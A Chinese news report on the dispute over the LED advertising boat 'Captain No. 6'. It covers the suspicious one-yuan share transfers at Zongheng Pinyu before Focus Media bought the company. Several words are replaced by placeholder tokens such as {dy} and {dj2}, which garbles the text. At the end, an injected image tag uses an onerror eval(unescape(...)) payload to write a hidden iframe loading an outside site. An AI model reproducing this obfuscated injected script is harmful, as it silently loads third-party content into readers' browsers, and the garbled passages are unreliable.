股东"低价"套现背后:纵横品誉玩转"船长六号"


"船长六号"仍在搁浅(参见12月12日头版<争夺"船长六号">),但其原所有权拥有者——上海纵横品誉广告有限公司(以下简称:纵横品誉)的神秘过往,却正逐步浮现。

      今年12月,围绕国内{dy}艘投入商用的LED广告船,新媒体广告公司"香榭丽"与纵横品誉爆发了一场属于"媒体生活圈"时代的战争:前者离2008年8月11日{dj2}广告招商和发布权期限尚有多时,不想意外陷入维权纠纷;后者对突然单方终止授权合同给出的理由则是"前者在支付广告分成费上有延迟行为"。

      不少广告界人士也疑惑,"船长六号"及其专利原为纵横水上所有,"但不知怎么突然成了纵横品誉"?而且纵横水上为何愿放弃被多方争夺的"船长六号"所有权和航线权,转交纵横品誉?

      一系列错综复杂的事件背后,将正在传媒市场大举收购的分众传媒(纳斯达克:FMCN)卷入其中。此前,分众已承认其为纵横品誉股东,但何时成为是一个谜。根据记者从上海市工商局查获的资料,分众全资收购纵横品誉的时间为今年11月2日。

      不过,根据此前香榭丽提供的资料,在纵横品誉有单方面毁约之嫌。纵横品誉与香榭丽在今年7月22日曾签署"船长六号"{dj2}广告代理协议时,双方有一个约定,即{dj2}授权期(2007年7月23日-2008年8月11日)满后,香榭丽承诺以某一价格买断纵横品誉90%股份,部分为现金支付,其余为纵横品誉上市前的原始股票。

      被指行为有"一石二鸟"之嫌的纵横品誉背后,究竟有什么样的商业故事?

      纵横品誉的前世今生

      对于船长六号的广告专利为何从纵横水上转到了纵横品誉手上,纵横水上董事长谢钢曾隐晦告之记者:"今年7月发生了一些复杂问题"。

      "2004年在虹口区两会期间,纵横广告提出希望能开发一艘新型户外媒体水上广告船,"水上广告船最早创意者谢卫钢告诉记者,该设想得到上海海事局、虹口区科协和虹口区工商联大力支持,"也由此,负责该项目的纵横水上成立。"

      工商资料显示:纵横水上成立于2004年6月,注册资本50万元,由纵横广告与上海海事局旗下海平水上出资成立,前者占股70%,后者占股30%。

      2005年3月21日,纵横水上{dy}艘广告船正式下水,这是黄浦江上{dy}艘霓虹灯广告船,此后一年半时间,该船主要用以配合政府做公益广告。

      2006年9月25日,纵横水上又另行开发出了一艘LED广告船,这就是后来被多方争夺的"船长六号"。

      "很快,纵横水上获得了由上海海事局批复的航线权批文。"另有知情人士告诉记者,此前纵横水上曾引进几个投资方,引进资金负责对船只进行改装并投资LED,"投入接近千万人民币。"

      截至发稿时间,记者未从上海市工商局获得纵横水上的航线批文资料。

      而纵横品誉工商资料显示:其成立于2006年3月,注册资本100万元,除纵横广告出资占股14%外,其它自然人股东还包括有陆某、徐某和陈某,分别占股55%、17%和14%。法定代表人则为陆某。

      难以启齿的分手

      由此,纵横品誉作为"船长六号"{dj2}广告销售商的身份已横空出世。有知情人士告诉记者:"其出现的最终目的,实是为其此后的'待价而沽'而设"。

      此前,记者在询问谢卫钢关于纵横水上和纵横品誉双方之间的合同内容时,谢卫钢曾告诉记者双方有严格的协议,内容包括:"1.纵横品誉享有的{dj2}广告代理权期限为十年;2.纵横品誉不能私自转让广告代理权;3.纵横水上与纵横品誉共享LED船灯箱广告利润,双方按比例分成广告费等。"

      而这两家原本一衣带水的公司为何突然神秘分手?这是一个颇为蹊跷的问题。

      记者调查获悉,除广告销售下游——纵横品誉外,"船长六号"改装前船只原租赁自上海宝江实业有限公司,并与上海宝江实业有限公司有协议,纵横水上拥有"船长六号"的管理权和营运权。

      "但今年年中,上游宝江和下游纵横品誉突然直接接头,纵横水上被踢出了局。"上述知情人士透露,"其方式几乎与'香榭丽事件'如出一辙。"

      记者查阅纵横品誉工商资料发现:纵横广告退出纵横品誉的时间是2007年5月28日,但身为纵横广告和纵横水上两家公司董事长的谢卫钢却不愿透露双方分手的细节。

      事情的另一关键问题是,今年7月22日,纵横品誉与香榭丽签署,说明纵横品誉应具备黄浦江上航线权资格,那么纵横水上是否还拥有其核心资源——黄浦江上的航线权?

      "纵横水上已经没有航线权,"谢卫钢回应,"具体原因无可奉告。"

      而对于遭遇不公的纵横水上{zh1}为何没有提起相关诉讼,谢卫钢仍简单作答——"无可奉告"。

      有接近纵横水上的人士告诉记者,背后原因实际是"迫于一些复杂压力,最终选择了放弃。"

      股东套现背后

      香榭丽负责人透露,目前,香榭丽已在筹备相关材料,准备向法院正式起诉纵横品誉的广告违约行为。看起来,这场官司得由纵横品誉现在的母公司分众来处理。

      记者在调查中从几位知情人士处获悉:"纵横品誉之所以如此强势,起主导作用的主要是纵横水上后来引进的投资方之一徐某。"

      记者查阅工商资料发现,陆某和徐某是分众进入前纵横品誉的{zh1}股东。

      纵横品誉工商资料显示:今年5月28日,纵横广告退出纵横品誉,并将其14%股份做价一元人民币转让给陆某,股份转让后,相关股东持股情况如下:陆某持股69%;徐某和陈某不变,分为持股17%和14%。

      此后7月2日,陈某将其14%股份做一元人民币转予陆某,公司股东持股情况再次变更为:陆某持股83%,徐某持股17%。

      之后,陆某再将其手中18%股份做一元人民币转给徐某,由此徐某持有纵横品誉股份35%,陆某则为65%。

      直至今年11月2日,分众通过旗下上海分众广告传播有限公司和上海分众广告有限公司以100万元全资收购上述股份。

      在被分众收购前,纵横品誉那一连串令人眼花缭乱的股权转让,为何转让价均为一元?对于这个巨大的疑团,记者暂时无处求解。

      更让记者相当意外的是,经过此前多方折腾,陆某与徐某通过此笔交易分别套现65万和35万,而按其原始股份值差计算,两人分别获利仅为10万元和18万元,这里还未计上此前近千万的投入(对船只进行改装并投资LED)。

      值得注意的是,这是分众历史上惟一一次不计较公司是否已经盈利、同时不以现金加股票方式的收购。此前,分众通常会限制被收购方在某时间内达到一定业绩后方实现收购。

      "对分众来说,收购这种稀缺的地标性和不可再生性媒体资源类属战略布局,"有分析人士指出,但上述交易似乎不符商业逻辑:"两个控制如此资源的公司股东,十几万转手价格是否太低?"

      这期间是否另有故事尚属谜团,不过,围绕"船长六号"发生的种种故事,却反映了对新媒体广告资源争夺的一种新竞争态势。

      "现在,众传媒公司间已不仅是简单客户资源的争夺,且涉及到媒体资源争夺,而这种争夺大部分通过资本操作进行。"有新媒体从业人士指出。

      

      

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_336_280.html%20width%3D336%20height%3D280%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">